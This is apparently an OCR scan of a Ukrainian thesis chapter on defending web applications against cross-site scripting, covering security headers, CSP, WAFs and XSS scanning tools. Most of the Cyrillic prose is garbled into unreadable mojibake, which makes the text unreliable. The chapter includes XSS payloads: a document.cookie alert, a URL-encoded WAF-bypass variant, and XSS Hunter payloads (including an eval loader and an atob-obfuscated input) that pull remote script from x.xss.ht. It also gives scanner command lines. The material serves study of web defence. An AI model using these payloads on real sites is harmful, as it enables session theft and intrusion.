<frame>, <iframe>, <embed> Tomro. BcraHOBIEHHS BIJNOBIIHOTO 3aroJIOBKY Oe3MeKH
JI03BOJISIE 3aXUCTUTUCH Bia Takoro Buay arak sik ClickJacking. Hampukiian, 3710BMUCHHK
MO€ 3pOOUTH TakK, 00 KOPUCTYBad JyMaB, 1110 HATUCHYB Ha KHOTKY, ajie¢ HaCIpaB/l BiH
HAaTHUCHYB Ha 00 €KT, SIKHI J10JaB Ha CAlT 3JI0BMUCHUK. BUKOpHUCTOBYETHCS 11eH 3ar0JI0BOK
(puc. 2.9) B ¢popmari [29]:

o X-Frame-Options: DENY

e X-Frame-Options: SAMEORIGIN

XSS arakw, sk 0yJI0 OMKUCAHO B MEPIIOMY PO3/1JIi, YACTO CIIPSIMOBAHI1 HA BUKPAACHHS

cookie ceciit kopuctyBauiB. [1{00 oTpumartH 11l JaHi, He0OXiTHO BUKOHATH JavaScript ko
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document.cookie. Ase, gepe3 Te, MO gocTyn s COOKie depes JavaScript He 3aBxau
noTpiOeH a1t BeOcaiTy, To Oyii0 po3po0IeHO METO/I 3aXUCTY IS 3a1I00IraHHs BUKPAICHHS
cookie. JIins mporo moTpibHo BeranoBuTH mpanopens HitpOnly. Moro migrpumyroTs Bci

OCHOBHI1 Opay3epu, OKpiM Jesikux MoOiIbHUX Opay3epis [30].

Q, [] Elements | Netwark| Sources Timeline Profiles Resources Audits Console

® O ¥ = Preserve log Disable cache
Mame "
Path Headers | Preview Response Cookies Timing
e e Remote Address: 173.194.121.31:443
- Request URL: https://www.google.com.ua/?gws_rd=ssl

Request Method: GET
mages Status Code: & 202 OK
_ P Request Headers (13)
¥ Query String Parameters (1)
¥ Response Headers

| | | L | |
5 & =

el

=}

2

T b=t

o

15

=]

rs=ACTI0oHNv_GWiwlUkw\... alternate-protocol: 443:quic,p=08.82
xjs/_fs/k=xjs.s.uk.VEZOale cache-control: private, max-age=0
ST content-encoding: gzip
'p o
ET‘ gstatic.com/inouttoo content-type: text/himl; charset=UTF-§
. - date: Mon, @8 Dec 2814 13:28:23 GMT
= dataiimage/gifbase... expires: -1

Server: gws
dataimage/gifbase... set-cookie: PREF=ID=cbaldB8a7fe6249c4:U=243560e1a75117d:
status: 288 OK

| [ |

: T
x-frame-options: SAMEORIGIN
x-Xss-protectiont Ts—mede=tTGck

‘ dataimage/gifbase...

T rs=ACTI0oHNv_GViwUlkow...

Pucynok 2.9 — Bukopucranus 3aronoBky X-Frame-Options

Atpubyr HttpOnly He € o0oB’s3koBuM. Ha puc. 2.10 mokazaHo BCTaHOBIICHHS
3BHYAHOTO 3HaueHHs COOKie ceancy. B nanomy Bumnaziky, COOKie He 3axuIleHi Ta MOXKYTh

OyTH BUKpaJIeH1 MPU BUKOHAHHI XSS-aTaku.

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: sessionid=QmFielWxvbiAl

Pucynok 2.10 — Bcranosnenns Set-Cookie

Ha puc. 2.11 noka3zano BcranoBienHs arpuoyty HttpOnly, npu skomy cookie €

3aXUIICHUMH 1 1X He MOXKYTh BHKpACTH Mifg yac XSS aTaku.
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Set-Cookie: sessionid=QmFieWxvbiAl; HttpOnly

Pucynok 2.11 — Bukopucranus arpudyty HttpOnly

CSP (Content Security Policy) Header — 1ie 3arojioBok Oe3leku, SKHil JT03BOJISE
Opay3epy 3aBaHTa)XyBaTH JIMIIIC KOHTCHT, IKMA JO3BOJICHUIA B MOMITHIN. [lei 3aroioBok €
JIOJTATKOBUM PiBHEM O€3IeKH, KUK IMOM SIKIIyE Ta BUSBISAE TaKi THIH aTak, sk XSS Ta
0’ kil manux. JlaHuit 3aroIoBOK peKOMEHIYEThCS 3aCTOCOBYBATH JIUIIIEC HA CTOPIHKAX, SIKi
MOKYTb 0OpOOJISATH 3aBaHTaXeH1 (pailim Ta crieHapii, ane ais BuBeaeHHS BianoBiai REST
API nanwuii 3arojioBOK He MOTPiOEH, OCKIIILKU He Oyjie Bi1oOpakeHo BMICT BianoBiai REST
API [28].

Y CSP (puc. 2.12) BUKOPHUCTOBYIOTBHCSI OLMI CIHCKH, SKI BU3HAYAIOTH OC3IMEUHE

JDKEPEeJIo 3aBaHTa)KEHHS 300paxkeHb, ciieHapiiB, CSS ta inmmoro [29].

X Headers Preview Response Initiator Timing Cookies

¥ General
Request URL: ... _... .o .___
Request Method: GET
Status Code: @ 200 0K
Remote Address: ~~
Referrer Policy: strict-origin-when-cross-origin
¥ Response Headers View source
Access-Control-Allow-Origin: *
Cache-Control: no-cache, no-store, must-revalidate, pre-check=8, post-check=8, max-age=@, s-maxage=@
Content-Enceding: gzip
Content-Length: 254
Content-Security-Policy: default-src 'self’;base-uri 'self';block-all-mixed-content;font-src ‘self' https: data:;frame-ancestors 'self';img-src 'self’ data:jobject-src 'none’;
cript-src ‘self'jscript-src-attr ‘none’jstyle-src 'self' https: 'unsafe-inline’;upgrade-insecure-requests
Content-Type: application/json; charset=utf-8
Date: Thu, 14 Jul 2022 69:45:57 GMT

Pucynok 2.12 — Buxopucranas CSP

CSP BukopucToBye Taki aTpudyTH [27]:

o default-src — e crannapTHe 3HaUEHHS I TOMITUKA. J[71s1 aTpuOyTy MOXKYTh OyTH
taki 3HadeHHs: default-src “none” ta default-src “self”. default-src “none” — mo3Bossie
3aBaHTAKyBaTH PECYPCH JIMIIIE OJJHOTO MOXOKeHHS, Taki ik CSS, ckpuntu, 300pakeHHs,
dopmu. default-src “self” — npuiimae i 3aBaHTa)Ky€e PECYpPCH JIUIIIE 3 OAHOIO i TOTO CaMOTo
JDKepena, sike MICTUTh TOM caMHil MOPT, MPOTOKOJI Ta XOCT.

e SCript-Src — Bu3Hauae J03BOJICHE JUKEPEIIO 3aBaHTaKeHHs JavaScript ¢aitnis;

e style-src — Bu3Havae q03BoJIcHE JpKepesio 3aBaHTakeHHs CSS daiiiis;
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e iMQ-SIC — BU3HAYAE JIO3BOJICHE JPKEPEIIO 3aBAHTAKCHHS 300payKEHb;

e connect-src — Bu3Hauvae go3BoseHi 1 it AJAX 4yn BeOCOKETIB;

e font-src — Bu3Havae J03BOJICHE JDKEPEIIO 3aBaHTAKEHHS MIPUQTIB;

e media-sSrc — Bu3Havae J03BOJICHE JHKEPENIO IS aydio Ta Bijeo (aiiiiB, TAKUX 5K
<audio>, <video> emeMeHTH Ha CTOPIHII;

e base-uri — Buznauae mo3BoneHi URI aapecw, siki MOXXHa BHUKOPHCTOBYBAaTH B
BeO0AaTKy B aTpuOyTi SIC.

[TizcymMOByrOUH BCE BHUIIE3a3HAYCHE, MOYKHA 3pOOMTH BUCHOBOK, IIIO BITPOBAKCHHSI
CSP € BaxnuBUM KpOKOM sl 3a0e3nedeHHs Oesneku BeOponatkiB. Ilpore, mo6 Bce
KOPEKTHO IIPAIFOBAJIO, IMOJITUKY Ma€ HAJIAIITYBATH CIEIIAIICT, OCKIILKHM HAJIAITyBaHHS €

CKJIaJHHUM.

2.3 IlinTBepAKeHHSA aBTEeHTHYHOCTI HKkepesia (POSA)

[linTBepI>KeHHST aBTEHTUYHOCTI JKEpesia HaJae KopucTyBauam BeOCAMTIB J10Ka3
TOTO, IO JaHWW BeOCaWT 1 MOocuiIaHHS € Oe3neyHuMHU Ta miaTBepakeHumu. [Ipaittoe 1e
TaKMM YUHOM: CTBOPIOETHCS LIM(PPOBHIA BOASHUI 3HAK, AKUH 3’ IBJSETHCSA HA BEOCANTI, KOJIU
HOro BiKpHBaE€ KOPUCTyBad. LluM BOASHUM 3HAKOM MOKe OyTH Jorotur kommanii [31].

[Ipukiaz ioro BUKOpUCTaHHS MOXKHA T00aYuTH Ha puc. 2.13-2.14.

(6} 25 memcyco.com/home/solution/overview/

{&> MeMcyco

Prevention

Proactive real-time protection ¢
impact
Al-powered brand impersonatis

Youit Webéite .ing and prevention engine
Verification Secret

- end your security perimeter beyond {

' " tems
t real-time alerts on impersonation at

*empt brandjacking attacks before th
zecting suspicious activity indicative ¢
planned

xusSu490

Pucynok 2.13 — Hudposuii BogsHui 3Hak
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« > C 23 memcyco.com/home/solution/overview/

{&> MeMcyco

Prevention

Proactive real-time protection at t
impact
Al-powered brand impersonation

<n> alerting and prevention engine

xuSU490 v Extend your security perimeter beyond the |
systems

v GCetreal-time alerts on impersonation attac}

Pucynox 2.14 — 3menmenuit iudpoBuil BOASHUMN 3HAK

ToOT0 criouaTKy, KOJIH JTUIIE 3aBAaHTAXY€ETHCS CAT, TO TOKA3yEThCS BOASHUN 3HAK B
MOBHOMY pO3Mipi, 1 4epe3 JeKiIbKa CEeKYH] BiH 3MEHIIYEThCA, 100 HE MEpeKpUBATU
B1J100pa’KEHHS OCHOBHOT'O KOHTEHTY.

HaBiTh HeBeNMKI MIMTPUEMCTBA, SIKI MaIOTh CB1M BEOCANT, MOXKYTh TOCTPAXKIATH BiJT
XSS araku, 1 aya Toro, mo0 3aMeBHUTH KOPUCTyBaya, 10 1€ He (DIMIMHTOBHIA CalT 1 HE

KOITis IOTOYHOTO CAalTy, BAPTO BCTAHOBIIOBATU TAKUI LIM(PPOBUI BOJASHUN 3HAK.
2.4 Web Application Firewalls (WAF)

WAF —11e dhaepBo 17151 BeOJ01aTKIB, IKUH CIIPSIMOBAHUM Ha 3aXUCT BEO0IaTKIB BiJI
HEOE3MEeYHOTo Ta 3I0BMUCHOTO Tpadiky 3 mepexi [ntepHer. daepBoi B peaibHOMY 4aci
npuitmae Becb HT TP-Tpadik Ta QinbTpye Horo, mobd BUABICHUN MIKIJUTMBUN Tpadik HE
moTpanuB Ha caut [32].

WAF (puc. 2.15) BUKOPUCTOBY€ MEBHI MOJNITHKHU, SKI BHU3HAYAIOTh, AKUU Tpadik
OesrneuHuil, a AKUi MOXke HecTH HeOesneky. daepBout 3axuiiac BeocaT He nuie Big XSS
arak, a i1 Bim SQL-Injection, Remote Code Execution, Cross Site Request Forgery, ataku

opyrdopc, sKi € HaiOLIbIT HeOe3meuHnMu IS BeOcaiitis [32].
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Ja @O Da

Pucynok 2.15 - WAF

Hanpuknan, Ha caiiTi, sskuit 3axumennii WAF, 3JJ0BMUCHUK HaMaraeTbCs 31MCHUTH
XSS araky, BBiBIIM B moJie Tomryky koj <script>alert(document.cookie)</script>. 1 sk
TUIBKM 3JI0BMUCHUK HATHCHYB Ha KHOIKY IMOIIYKY, HOMY y BIANOBIAb BIJKPHUBAETHCS

CTOpIHKa, HA K1} BKa3aHO, 1110 HOMY BIIMOBJIEHO B J0CTyi (puc. 2.16).

Access Denied

Tou don't have permission to access "http:/f =n/q" on this server.

Reference #18.e807c7c.1496323874.2043354b

Pucynox 2.16 — BiamoBnieHo B goctymi

Opnnak, nesxki WAF MOXyTh TO3BOJSITH JIOCTYI, KOJH €Ki CUMBOJU B KOJI

3aKkoz0BaHi, Harpukiaa, %3cscript¥%3ealert(1)%3c/script>.
2.5 Virtual DOM
Hns nom’sikmenns XSS arak B React 3acrocoByerscs TexHomoris Virual DOM.

Virtual DOM — e maiixe Te came, 1110 1 3Buuaiitna DOM, ajie BUKOPUCTOBYIOUH BIPTYaIbHY

MOZ€JIb, MOKHA JMHAMIYHO 3MIHIOBaTH CTPYKTYpy OJIOKIB, Jd0oAaBaTd HOBI, abo
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OHOBJIIOBATH HAasiBHI OJIOKM HA CTOpiHII, Oe3 mepe3aBaHTaeHHs cTopinku. Xou 1 Virtual
DOM ne Oynu nepenbadeni 1uist oM’ sikiieHHsT XSS aTak, ajne Ha 1iii Mojen noOyaoBaHi
cy4acHi (pperiMBOpKH BeOmoaatkis [33].

Sxmo DOM Ha cTopiHIi Bigpi3HSAETHCS Bl 3alIPOrpaMOBaHOI B KOJIi, TOOTO SIKIIO
3110BMUCHUK 3MiHUB DOM, TO peiiMBOpK MOPIBHSE 111 YACTHHU KOAY 1 0JIpa3y OHOBUTH ii
Ha CTOpiHII. TakuM YMHOM, 3JTOBMHCHHUK MOXE 3IHCHUTH aTaKy JIMIIEC HA Mapy CEKyH],
OKH He oHOBHThCsI DOM [33].

Taxox, Virtual DOM Moske BUKOPHCTOBYBAaTH BaJlifalliio Ta CaHITH3AI[iI0 JaHUX, AKi
BBOJIUTh KOPHCTYBad, Ta KOJYBAaHHS CHMBOJIIB JUIsl TOTO, 0O HE BUBECTH HA CTOPIHKY

MOTEHIIWHO HEOE3IIEUYHNI KOJI.

2.6 TectyBaHHS KOIY

Black-Box Testing — TectyBaHHs 101aTKy, KOJH TECTYBaJbHHK HE 3HA€ Hi KOJ, Hi
¢dbyHKIioHaT caMoro noaatky. BiqnosigHo 1o OWASP nane TecTyBaHHS Ma€ BKIIFOYATH TPU
eTanu: BUSBJICHHS MICIb, € KOPUCTYBau MOKE€ BBOJMTHU Ta BIAIPABISATU JaHi; aHali3
BPa3JIMBOCTI [IUX MICUb (TOOTO YA MOKE KOPUCTYBAa4 BBECTH 3JIOBMUCHUI KOJI 1 BIATIPABUTH
Horo Tak, mo0 Iel KoJ 3alyCTUBCS Ha calTi abo 30epircs Ha cepBepi); NMEpeBIPUTH
HACKIJIBKM CEPHO3HUM € BIUIMB Ha JIOJATOK, AKIIO 3JI0BMHUCHUK peaii3ye ataky [34].

[lepmmii etan. 1y KOKHOI CTOPIHKM BEOJOJIATKY TECTYBaJbHUK MOBUHEH 3HANTH
MICIIS, JIeé KOPHCTYyBad MOJKE BBECTH CBOI JaHI 1 BH3HAYUTH CIOCIO iX BBEACHHS
(3aBaHTa)XeHHS (haiiy, BBEIEHHS TEKCTY). BX1H1 JaH1 MOXKYTh BKJIIOYATH Pi3HI NapaMeTpu
HTTP 3anuty, gani POST, pi3Hi npuxoBaHi moist opm, sKi € HeBUIUMI ISl KOPHCTyBaya,
ajyie mepenaroTh I JaHl B 1HIN MiCI. 3a3BHuYaid I 1[OTO €Tany BUKOPHUCTOBYIOTH
Developer Tools, siki € B koxxHOMY Opay3epi. 3aBASKH I[bOMY IHCTPYMEHTY TECTYBaJIbHUK
Moske mo0aunTu BCio HassBHY DOM cTpyKTypy, BUBHAUUTH SIK OOpOOJIAETHCS Ta Y 1HILA
dopma Ha caiiti [34].

Hpyruit eran. Ha 1mipoMy etami TeCTyBaJIbHUK Ma€ TMEPEBIPUTH BPa3IUBICTH BeO
J0/IaTKy 10 TOIIUPEHUX BEKTOpiB aTak XSS MeTojoM 3amoBHEHHS TOMIB (HOpMH

CrieliaJIbHUM KOJIOM, SIKMI TIOKa)ke 0/ipa3y uu Mae€ 11e 1oJie Bpa3auBicTh. CrieriaabHui KO



43
e Koj, SKUH He € IIKIJIMBAM, Hampukiam, <script>alert(‘test’)</script>. Kox mms

MEPEeBIpKM BPa3IMBOCTEH MOXKHA 3TreHEpyBaTH OHIalH-pecypcamu (Web application
fuzzer). B OWASP Takosx omnucaHo, SKUMHA METOJaMH MOKHA TECTYBAaTH Ta SIKE KOPHUCHE
HABaHTa)XCHHS BUKOPUCTOBYBATH JJIs TeCTyBaHHs [35].

Tperiit etan. Konau TecTyBalbHUK Ha JAPYroMy eTami 3HaiEe BPa3IMBOCTI, HOMy
HEOOX1THO OLIIHUTH HACKUJIbKHU BIUTMBAE 115l BPA3JIMBICTh Ha Oe3mneKy BeOaoaTky. Jiis poro
TecTyBadbHUK TepeBipsie HTML kon Ha HasBHICTHP HEKOPEKTHO 3aKOJOBAHMX, 3MIHEHUX
CreliaJIbHUX CUMBOJIB. [[y>ke BaKJIMBO, 1100 BCI CIemiagbHl CUMBOJIM, TaKl K < > “ &,
Oynu 3aKofOBaHI TMOCTIIOBHOCTAMHM, SKi HamucaHi B mokymeHrtanii HTML V komi
JavaScript maroTh OyTH 3aKOJ0BaHi Ta €KpaHOBAaHI CUMBOJIM TEPEBOY Ha IHIIAN PSJIOK,
arnocTpodu, MOBINHHI JIATIKU, 3BOPOTHIH ciemt Ta iHm [34].

Jlnst TectyBaHHS BeOJI0OATKIB HA BPa3JIMBOCTI 4YaCTO BUKOPUCTOBYIOTh IHCTPYMEHTH,
SIK1 CKaHYIOTh CalT 1 IIyKarOTh BPa3JIMBi Miclis B koji. Hanpukian, ckanep Acunetix. Jlanuii
IHCTPYMEHT OKpIM CKaHyBaHHS Ma€ (YHKI[IIO OI[IHKA BPa3IUBOCTI Ta IHTErpaliio i3
BIJOMUMH I1HCTPYMEHTaMH pO3pOOKH mporpaMHOro 3abesmedeHHs. Acunetix wae
YHIKQJIbHUN alroputM, sikuil 103BoJisie 3a 20% ckanyBaHHs BusiBUTH 80% Bpa3IMBOCTEH.
Takok JaHuUM 1HCTPYMEHT Ma€ BHUCOKY IIBUIKICTh Ta €(QEKTHUBHICTh BHUSBICHHS
Bpa3JIMBOCTEH, 1 My)K€ HHU3bKUI PIBEHb XWOHOMO3UTHBHUX pe3yibTaTiB. lle mo3Bossie
36KOHOMHTH 4Yac Ha TECTYBaHHS Ha TPOHUKHEHHS, YHUKAIOYM BHUTpAT dYacy Ha
XHOHOIO3UTHBHI pe3yibTatu [36, 37].

Acunetix goctymunii gt Windows, Linux ta macOS cucrem. OKpiM MOIIHPEHUX
Bpa3IMBOCTEH, II¢ IHCTPYMEHT 3JaTHWA BUSBUTH TaKi 3arpo3W, 5K HENpaBUIbHA
KoH(irypariisi BeOcepBepy, He3axuileHl (hailyii, HasBHICTb 3JIOBMHUCHOTO MPOrPaMHOIO
3abe3neueHHs Ta iHm [36]. Ilpuknan BUSBISCHUX Bpa3IMBOCTEH, 3HANIACHUX JaHOIO
YTHIITOIO MOKa3aHo Ha puc. 2.17.

Damn Small XSS Scanner (DSXS) — incTpyMeHT [uis notrykKy XSS Bpa3auBOCTEH.
DSXS nanucanuii Ha python ta moctymuuii quis BukopuctanHs B Kali Linux ta iHmmx
UNIX cucremax. Lleii ckanep mictuth 10 100 psKiB HaMCaHOTO KOJY, aje BIH € JyXke

edextuBHUM. 11100 Horo 3amycTuTH, moTpiOHO 3aBanTaxuTH (aiin dsxs.py 3 GITHUB, ta
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BUKOpUCTATH KOMaHAy python3 dsxs.py —U “nocmianHs Ha caidT 11t ckanyBanus [38, 39].

[Ipuknazn pe3yapTaTy CKaHyBaHHS [TOKa3aHo Ha puc. 2.18.

® Scan B Generate Report v B A xport

Y Filter X

4
é Report outdated Scan Engine / Environment (local) 64.225.70.154:general/tcp Open
Check if Mailserver answer to VRFY and EXPN requests 64.225.70.154:25/tcp Open
& OpenSSH Detection Consolidation 64.225.70.154:general/tcp Open
- 3 OpenVAS / Greenbane Vulnerability Manager Detection 64.225.70.154:9390/tcp Open
& 0S Detection Consolidation and Reporting 64.225.70.154:general/tcp Open
9 Postfix SMTP Server Detection 64.225.70.154:25/tcp Open
E=3 Service Detection with '<xml/>' Request 64.225.70.154:9390/tcp Open
9 Services 64.225.70.154:22/tcp Open
& Services 64.225.70.154:9390/tcp Open
ﬁ Services 64.225.70.154:25/tcp Open
- 3 SSH Protacol Algorithms Supported 64.225.70,154:22/tcp Open
E=3 SSH Protocol Versions Supported 64.225.70.154:22/tcp Open
= 3 SSH Server type and version 64.225.70.154:22/tcp Open
.

Pucynok 2.17 — Ilpuknazn BUABIEHUX BPa3IUBOCTEN

root@yuzhakova-pc: /home/tetiana/Desktop# python3 dsxs.py -u http://test.com/ojs-
app/

Damn Small XSS Scanner (DSXS) < 180 LoC (Lines of Code) #v©.3c

by: Miroslav Stampar (@stamparm)

(x) no usable GET/POST parameters found

scan results: no vulnerabilities found
root@yuzhakova-pc: /home/tetiana/Desktop#

Pucynok 2.18 — Pesynbratu ckanyBanHs iHCTpyMeHTOM DSXS

Inctpyment Pybelt npusnadenuii mis xakepiB, Hanucanwii Ha Python, mosBosise
CKaHyBaTH TMOPTH, IIyKaTu BpaznuBocTi SQL, mepeBipsATH HAaSBHICTh 3JIOBMHCHHMX
nocnigoBHocteit kogy B URL-anpeci Ta mrykatu XSS ypasnusocti B URL-anpeci. {5 Toro,

00 BHUKOPUCTAaTH JAHUM I1HCTPYMEHT, MOTPiOHO 3aBaHTaxuTu ioro 3 GITHUB, Ta
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3armycTuTH KoMauay python pybelt.py -p «mocwmanns wa cavt» [40, 41]. Ilpuxman

BUKOPHUCTAHHA JJAHOTO IHCTPYMEHTY MOKa3aHo Ha puc. 2.19.

Pucynok 2.19 — Bukopucranns pybelt

XSS Hunter — iHCTpyMEHT, SIKMW MO3BOJISIE 3HAXOMWUTH BCi BpaznuBocTi XSS,
BkimoyHo 3 Blind XSS. Ileit iHCTpyMEHT NpaIlo€ TaKUM YHHOM: PO3MIIIYIOThCS
crieriaimizoBani 30HAM XSS, sKI Mmichs 3amycKy BeOCalTy CKaHYIOTh CTOPIHKY Ta
HAJICUJIAIOTh pe3yibTaTh ckaHyBaHHS q0 XSS Hunter. Ilix yac ckanyBaHHS 30Mpa€eThCs
Taka 1H(popMallis: MOCUJIaHHS Ha BPA3JIMBY CTOPIHKY, JHKEPEJIO BUKOHAHHS IIKIJTMBOTO
kony, IP-aapeca >xepTBH, Bepcisi Opayzepy xkepTBu, (aitnu cookie, HTML kox cropinku,
CKpIHIIOT €KpaHy CTOPIHKH, A€ BUKOHanach araka, HTTP 3amutu, Aki BinOynuch Ha
cropiaii (puc. 2.20). CKpiHIIOT eKpaHy POOUTHCS 3aBISIKHM BUKOPHCTAHHIO TEXHOJIOT1H
HTMLS canvas API. TloigomiieHHs po aTaku Ta 3HANIEH1 Bpa3JIMBOCTI MOKHA HAJICTIATH
Ha €JICKTPOHHY MOIITY B BUTJISAI I€TaIbHOTO 3BiTY [42].

XSS Hunter no3Boisie reHepyBaTi KOpUCHI HaBaHTaxxeHHs (payload), ms Toro, mob
MOJKHa OyJI0O BUKOPHUCTATH HOTO JUIsS TECTyBaHHs BeOmomartkiB (puc. 2.21). Takox naHuii
IHCTPYMEHT JI03BOJISIE KOPENIOBATH CHPOOM 1H EKIIA MIKIJUIMBOTO KOJYy, IO TaKOXK
JT03BOJISIE€ JI3HATUCH SIKUN KOJI/TIOCUJIAHHS CIIPUYUHIIIO 3aIMyCK IIKIJIJTMBOrO KOAY, HABITh

Yyepe3 JIeKUTbKa TYKHIB TICIIs BUKOHAHHS aTtaku [43].
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BaxnuBo, mo maHoMy 1HCTpYMEHTY, IS TOTO, 100 3pOOWTH 3BIT NPO 3HAMICHI
Bpa3JMBOCTI, JOCTAaTHHO JIMILIE 3aBAHTAXXEHHS CTOPIHKH, HE MOTPIOHO HATHCKATH Ha
3JI0BMUCHE TTOCcHIanHs. To0To aiis opMyBaHHS 3BITY MOTPIOHE JIMIIIE OJTHE 3aBAHTAKECHHS

3apakeHoi cTopinku [43].

Victim User Agent

Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_10_0) AppleWebKit/537.36 (KHTML, like Geck

Cookies

_gauges_unique_year=1; _gauges_unique=1; ajs_anonymous_id=%22d8ca3e77-32ed-45d3-b67a
_gauges_unique_month=1; _ga=GAl.2.659073597.1450685971; _gauges_unique_day=1

DOM
1

1. <html class=" js flexbox canvas canvastext webgl no-touch geolocation postmes
op websockets rgba hsla multiplebgs backgroundsize borderimage borderradius b
adients cssreflections csstransforms csstransforms3d csstransitions fontface

Pucynox 2.20 — [leTanpHMit 3BIT

<script> Tag Payload - Basic XSS payload.

! "><script sre=https://x.xss.ht></script>

 Copy Payload to Clipboard

javascript: URI Payload - For use where URI's are taken as input.

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://x.xss.ht\';document.body.appendChild(a)')

(2 Copy Payload to Clipboard

<input> Tag Payload - For bypassing poorly designed blacklist systems with the HTML5 autofocus attribute.

"><input onfocus=eval(atob(this.id)) id=dmFylGESZG9jdW1I1bnQuY3JIYXRIRWxIbWVudCgic2NyaXB0lik7YS5zcmM9Ili8veCS

& Copy Payload to Clipboard

Pucynok 2.21 — I'eHepaliisi KOpUCHOTO HaBaHTAXXEHHSI JIJIs1 TECTYBaHHS

XSSER — 1ie iHCTpYMEHT, SIKUH J03BOJISI€ BUSBUTH, BUKOPUCTATU Ta 3pOOUTHU 3BIT

mono 3HakaeHux XSS BpasznmmBocTel B BeOjomaTkax. 3a JOMOMOTOIO Pi3HUX KOMAaH]I
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MO>KHa 0011 TH NEeBHI (PUIHTPH Ta BIPOBAIUTH HIKIIJIMBUNA KO U1 TECTYBaHHS Ha HAsIBHICTh
BpasnuBoctel [44, 45].

JoctymHi (naru ass 3amycky IHCTpyMEHTY MOKa3aHo Ha puc. 2.22.

Pucynok 2.22 — ®@naru s 3anycky XSSER

XSStrike — iHCTpYMEHT, 3a JIOMOMOTOIO SIKOTO MOXHA BHSIBUTH BpasiauBocTi XSS.
Jlanuii 1HCTPYMEHT MICTUTh IHTEJIEKTyaJIbHUI T'€HEpaTOp KOPUCHOIO 3aBaHTAXEHHS Ta
YOTUPH aHATI3aTOPU KOy, 1€ BIJIPI3HSIE MOTO BiJl IHIIUX IHCTPYMEHTIB. 3aMiCTh TOTO, 1100
BCTaBJISATU Pi3HI KOPUCHI HABAHTAXKEHHSX Y BCIX BPA3JIMBUX MICISIX HA CAUTY 1 IEPEBIPSATH
9 BOHHM 10T, XSStrike 3a 1omoMororo mapcepiB aHallizye BiamoBiAl BeOcalTy. 3aBasKu
IPOBEJCHOMY aHali3y IHTEJNEKTyaJIbHUH T€HEpaToOp KOPUCHOTO HABAaHTA)XCHHS TE€HEpYe
payload, sikuii rapaHTOBaHO CIIpallfo€ Ha CKaHOBaHOMY BeOcaiiTi. BukopucTtanHs Takoro
miaxoy 301IbIITye HMOBIPHICTD YCIINTHOTO BHsiBIIEHHS XSS BpaznuBocTeii [46].

OxpiM 1IbOTO, TaHUM IHCTPYMEHT Jonomarae BusBiatu WAF Ta yXunsTuch BiJi HbOTO
JUTSL IPOBEICHHS TeCTyBaHHS Ha HasiBHICTh XSS. CkaHyBaHHS TaKOX BKIIIOYAE TIEPEBIPKY
KOJy Ha 3acTapijii Ta HeOe3nmeuHi KOHCTPYKIN JavaScript, ski MoXXHa BUKOPUCTATH IS
BIIpOBapKeHHs ataku XSS. 3a momomoror pyuHux anamizatopieB HTML ta JavaScript

3a0e3MeuyroThCsl TOUHI Ta HaJliHI pe3yiabratd (puc. 2.23). 3aBasku miarpumin HTTP
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MO>KHa MMPOBOJIUTH KOMIUIEKCHY MepeBIpKY BeOCalTy 1 nepedupaTu KOpUCHI HABAaHTAKEHHS

IS YHIBEPCAIBLHOTO TIPOIIeCy TECTyBaHHS [47].

v3.0.5

KONA Security Solutions (Akamai Technologies)
1

p
F
;
F
;
F
;

[
[
[
[
[
[
[
[
[

passed]

[passed]
[passed]

[passed]

Pucynok 2.23 — INpuknan Bukopuctanus XSStrike

OxpIiM BHILE3raJJaHUX IHCTPYMEHTIB JUJISl aHali3y KOAy Ta BEOCAMTIB, ICHYIOTh TakKi
iHCTpyMeHTH sk ScanJS ta JSLint, siki MOKa3yroTh Iie Ha eTari po3po0KH, 10 PO3POOHUK
BUKOPUCTOBYE HeOe3neuHl (QyHKIii ado 3amumiae MOpoXkHI 3MiHHI, K1 HIJIE€ B KOJl HE
BUKOPUCTOBYE, a00 BHUKOPHUCTOBYE TI00abHI 3MiHHI, SIKI TAKOX MOXYTh MPU3BECTH JIO
BUHHUKHEHHS Bpa3znuBocTeil. Lle cTaTuyuni aHamizatopu KOy, 1 MOPIBHAHO 3 TUHAMIYHUMU
aHa3aTopaMM, MarOTh Olnbllle XMOHUX pe3ynbTariB. [IpoTe, iX BapTO BUKOPUCTOBYBATH,
1100 BXKe Ha eTarli po3poOKu BeOCATy po3pOoOHUK BUIPABIISB HASIBHI TOMUJIKH, SIK1 MOXKYTh
npu3BecTH 10 XSS arak [48, 49, 50].

Jlesiki THCTpYMEHTH, SIK1 JIO3BOJISIIOTh BUSIBIISITH BPa3IUBOCTI, Harpukia BurpSuite,
MICTSTh B COO1 €IEMEHTH CTaTUYHOTO aHauizy. [IpoTe HEBIOMO, UM 111 €JIEMEHTH 3MOXKYTh
BUSBUTH Ta 3ano0irtu arakamu DOM XSS. Oxpim Toro, koj, HamucaHui Ha JavaScript
BKKO aHAJNI3yBaTH uepe3 Te, IO 3a3BHuYail BHUKOPHUCTOBYIOTHCS JMHAMIYHI 3MIHHI Ta
GyHKIIi, SKI TOCTIMHO 3MIHIOIOTHCS Ta HAMOBHIOIOTHCS TUHAMIYHUMU JTaHUMH, TOMY
HEMOJKJIMBO TOYHO Mepea0adnTH, 10 MOKe Ipu3BecTH 10 XSS araku [48].

OxpiM BUIIE3raJlaHUX CKaHEPIB Ta IHCTPYMEHTIB JJisi BUsABIEHHS XSS arak € Taki
inctpymenTr: IBMSecurityAppScan, TrustwaveAppScanner, ckanep BeOgoaarkiB Reting,

BeOckanep Qualys, HP Fortify static code analyzer i ckanep JavaScript Big Coverity [48].
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Po3poOHMKN Ta TECTyBalbHUKM MAarOTh 00patu mjis cebe AeKiabKa METOMIB Ta
THCTPYMEHTIB JJIs1 TECTyBaHHS Ta 3aXUCTy BEOJOJATKIB, TOMY IO BUKOPHCTAHHS JIUIIE

OJHOT'0O MCTOAY MOKC HC 3aKPpHUTHU BC1 HasIBHI BpaSJII/IBOCTi.

BucHoBk#M 32 po3aijiom 2

Y npyromy po3auti AMUIUIOMHOI pOOOTH MPOBEACHO OTJIS IHCTPYMEHTIB Ta METO/IIB
JUIS BUSIBJICHHSI BPa3lIMBOCTEH B BeOJoaaTKax, 30kpeMa ypasnuBoctedi XSS (Cross-Site
Scripting). byno posrmsayTo Taki iHcTpymeHTH sk Pybelt, XSS Hunter, XSSER Ta
XSStrike, siki HagaOTh MOXJIUBOCTI JJIS CKaHyBaHHSA BeOJOAATKIB HAa HasBHICTH XSS-
Bpa3JIMBOCTEH Ta MPOBEACHHS JETAJbHOTO aHali3y Ta TECTYBaHHS Ha BPa3UBICTb
B€OI0JATKIB.

